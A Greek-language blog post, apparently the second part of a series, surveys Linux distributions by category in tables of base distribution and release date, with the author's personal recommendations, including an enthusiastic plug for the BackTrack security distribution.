    Μία άλλη κατηγορία και συνάμα εύκολη και βολική είναι οι φορητές  διανομές. Οι συγκεκριμένες ξεχωρίζουν για το μικρό μέγεθός τους.

     




     



    Distribution  



    Base distribution  







    Latest release date  




    Damn Small Linux



    Knoppix



    22/04/2008




    OpenWRT



     ?



    2009-?-? [3]




    Puppy Linux



    none



    2008-11-03 [4]




    SliTaz GNU/Linux



    none



    16/04/2009



     

    Πρόταση: Με μέγεθος 50mb είναι πολύ όμορφο να κρατάς μαζί σου ένα ολόκληρο λειτουργικό με μία αρκετά μεγάλη γκάμα. Τουλάχιστον τόσο είναι το Damn Small Linux. Όχι ότι τα άλλα είναι πολύ μεγαλύτερα.



     

    Business Workstation/Server Distributions


    Φυσικά μπορεί λίγοι να είναι αυτοί που χρησιμοποιούν Linux στο εργασιακό περιβάλλον, αλλά αυτό δεν σημαίνει ότι δεν υπάρχουν συστήματα για τέτοια δουλειά.

     




     



    Distribution  



    Base distribution  







    Latest release date  




    SUSE Linux



    Slackware, Jurix[6]



    21/05/2008




    Red Hat Enterprise Linux



    Fedora



    21/05/2008




    Rocks



    Red Hat Linux



    2008-11-? Rocks 5.1 (V.1)




    CentOS



    RHEL



    23/06/2008




    Red Hat Linux



    none



    31/03/2003




    Asianux



    RHEL



    22/09/2007



     

    Στην λίστα υπάρχει το Suse που το υποστηρίζει η Novel, αλλά και το Red Hat. Τουλάχιστον αυτά τα δύο θεωρούνται από τα πιο δυνατά και αξιόπιστα στον χώρο, καθώς είναι και από τα ελάχιστα που δεν διατίθενται σαν free distributions, αλλά υπάρχει η δυνατότητα αγοράς και συνάμα υποστήριξης από την εκάστοτε εταιρεία. Φυσικά τα παραπάνω πολύ εύκολα μπορούν να έχουν και ρόλους server σε μία επιχείρηση και συνήθως όσες εταιρείες χρησιμοποιούν κάποιο linux σύστημα σαν server έχουν κατά μεγάλο ποσοστό μία από τις παραπάνω λύσεις. Η απλή (open) έκδοση του Red Hat και το CentOS είναι αρκετά δυνατές διανομές.

    Πρόταση: Το Rocks προσωπικά δεν το έχω δει, αλλά η λύση των SUSE και Red Hat, ακόμα και στις open distributions είναι πολύ καλές. Προσωπικά λατρεύω το περιβάλλον του Open SUSE.



     

    Server Distributions


    Πέραν των προαναφερθέντων διανομών, υπάρχουν και κάποιες συγκεκριμένες διανομές που είναι έτοιμες για ρόλο server σε ένα δίκτυο.

     




     



    Distribution  



    Base distribution  







    Latest release date  




    Annvix



    Mandrake Linux



     




    EnGarde Secure Linux



    none



    2008-04-?




    Nitix



    none



    18/10/2006




    Open Enterprise Server on Linux



    SUSE Linux Enterprise Server



    24/03/2009




    Oracle Enterprise Linux



    RHEL



    09/09/2009




    Trustix Secure Linux



    Red Hat Linux



    06/03/2007




    Finnix



    Debian



    29/01/2008



     

    Σε αυτή την λίστα ξεχωρίζει η Oracle Enterprise Server on Linux σαν λύση, τουλάχιστον για όσους δουλεύουν με Oracle. Ενώ μπορεί κάποιος να παρατηρήσει ότι δύο δυνατά συστήματα όπως το Trustix Secure Linux και το Open Enterprise Server on Linux είναι βασισμένα σε SUSE και Red Hat αντίστοιχα.

    Πρόταση: Η λύση του Trustix Secure Linux σε ένα εταιρικό δίκτυο δεν είναι κακή ιδέα και για όσους ασχολούνται αποκλειστικά με Microsoft συστήματα. Ενώ το Finnix χαρακτηρίζεται από την δυνατότητες του στο administration κομμάτι.


     


     


     


     

    Desktop & Workstation & Server Distributions


    Δεν είναι γενικής χρήσης, αλλά μπορούν να δουλέψουν είτε σε προσωπικό υπολογιστή, είτε σε εργασιακό περιβάλλον είτε ως server. Οι υπηρεσίες και εφαρμογές που θα βρείτε εγκατεστημένες καλύπτουν όλο αυτό το φάσμα.

     




     



    Distribution  



    Base distribution  







    Latest release date  




    ALT Linux



    none



    20/02/2009




    Lunar Linux



    Sorcerer



    17/02/2007




    Rxart



    Debian



    16/04/2006




    Slackware



    SLS



    26/08/2009




    Yoper



    none



    03/10/2007



     

    Σε αυτή την λίστα ξεχωρίζει το Slackware κατά την προσωπική μου άποψη, καθότι μία διανομή πάνω στην οποία είναι βασισμένο και το γνωστό BackTrack.

    Πρόταση: Προσωπικά, δεν έχω γνώμη για τις υπόλοιπες διανομές τόσο, όσο έχω για το Slackware. Οπότε δεν είναι κακό να το δοκιμάσετε, έστω και σαν Virtual Machine.



     

    Desktop & Server Distributions


    Διαφοροποιούμε λίγο την παραπάνω κατηγορία, αφαιρώντας τον χαρακτηρισμό του Workstation σε αυτές τις διανομές, καθότι δεν θα βρείτε κάποια από τα προγράμματα που θα βρείτε στις παραπάνω λύσεις.

     




     



    Distribution  



    Base distribution  



    Latest release date  




    Caixa Mágica



    Mandriva Linux



    03/06/2009




    openSUSE



    SUSE Linux



    18/12/2008




    QiLinux



    none



    01/08/2006




    Ubuntu



    Debian



    23/04/2009




    Zenwalk Linux



    Slackware



    07/03/2009



     

    Είναι διανομές που μπορούν από απλά desktops να γίνουν δυνατοί servers, το ότι το πασίγνωστο Ubuntu βρίσκετε σε αυτή την λίστα, αλλά επίσης και το OpenSUSE λέει πολλά. Οι χρήστες των παραπάνω λειτουργικών τα βρίσκουν σχεδόν όλα τα απαραίτητα  μόλις ανοίξουν το σύστημα τους για πρώτη φορά. Η μετατροπή από ένα απλό desktop λειτουργικό σε server, γίνεται απλά με την εγκατάσταση συγκεκριμένων στοιχείων από τα σχετικά repositories. Κάποιοι πιστεύουν ότι πχ το Ubuntu είναι άψογο για το σπίτι, μπορεί να δουλέψει πολύ καλά σαν server, αλλά δεν προτείνεται τόσο για office use.

    Πρόταση: Όταν σε μία τέτοια λίστα υπάρχει το Ubuntu δεν μπορεί να προταθεί κάτι άλλο. Όσο και να μου αρέσει το OpenSUSE, το λειτουργικό που βοήθησε στην μεγάλη διάδοση των Open Source τα τελευταία χρόνια και πλέον χρησιμοποιείται από το μεγαλύτερο ποσοστό των χρηστών Linux παγκοσμίως είναι το Ubuntu. Προφανώς το έχουν φέρει πολύ κοντά στα Windows σε θέμα χρηστικότητας, αλλά και επίσης σπάνια δεν θα βρείτε driver για Ubuntu ή κάποια αντίστοιχη λύση σε οποιοδήποτε application


     

    Live CD Distributions


    Ένα από τα ατού που έχουν οι περισσότερες διανομές του linux, είναι ότι είναι διαθέσιμες ως Live CD. Δηλαδή, βάζει το CD και κάνει boot από αυτό, με αποτέλεσμα έστω και με λίγη καθυστέρηση να έχεις ένα πλήρες λειτουργικό σύστημα, σε οποιοδήποτε υπολογιστή, χωρίς να χρειαστεί να κάνεις εγκατάσταση.

     




     



    Distribution  



    Base distribution  



    Latest release date  




    Gnoppix



    Knoppix



    07/09/2005




    Knoppix



    Debian



    27/03/2008




    SLAX



    Slackware



    18/04/2008




    Kanotix



    Debian, Knoppix



    31/12/2007




    SMS - Slack Mini Server



    Slackware



    05/07/2009




    Kurumin Linux



    Knoppix



    21/02/2007



     

    Στην λίστα αυτή βρίσκεται η παρέα των Gnoppix, Knoppix, Kanotix που όπως και στην κατάσταση του Ubuntu, θα τα βρείτε με διαφορετικό γραφικό περιβάλλον. Ενώ μου άρεσε και το SLAX την πρώτη φορά που το χρησιμοποίησα, έχοντας μεγάλη ποικιλία από διαθέσιμα εργαλεία.

    Πρόταση: Θα παρατηρήσετε ότι τα μισά είναι βασισμένα στο Knoppix και τα άλλα στο Slackware. Οπότε η λύση Knoppix για live CD μπορεί να θεωρηθεί σαν εύκολη, πολλοί δουλεύουν με το Gnoppix επίσης. Πάντως για ρίξτε μία ματιά στο SMS. Δεν ξέρω αν θα πείραζε κανέναν admin να έχει ένα bootable server σε ένα CDάκι. Προσωπικά, θα το μελετήσω σύντομα.


     

    Security Distributions


    Όσοι με ξέρετε, θα γνωρίζετε κιόλας ότι αυτό το κομμάτι ίσως να είναι το πιο αγαπημένο μου. Ο λόγος;

     




     



    Distribution  



    Base distribution  







    Latest release date  




    BackTrack



    Slackware(version < 3.x)/Ubuntu(version > 4.x)



    19/06/2009




    Arudius



    none



    06/02/2006



     

    Φυσικά για την ύπαρξη του BackTrack σε αυτή την κατηγορία. Τα λόγια είναι περιττά και αν δεν έχετε διαβάσει τα σχετικά blog post μου για αυτό, καιρός να το κάνετε.

    http://autoexec.gr/blogs/blackman/archive/2008/11/28/back-to-back-following-your-track-i-m-using-linux-backtrack.aspx

    http://autoexec.gr/blogs/blackman/archive/2009/07/07/back-to-the-track-4.aspx

    Πρόταση: Ένα MUST εργαλείο για να το έχετε. Η έκδοση 3 είναι διαθέσιμη και για USB, ενώ η τελευταία έκδοση είναι σε live CD. Φυσικά μιλάω για το BackTrack.

    Go To Part 3
×
×
  • Create New...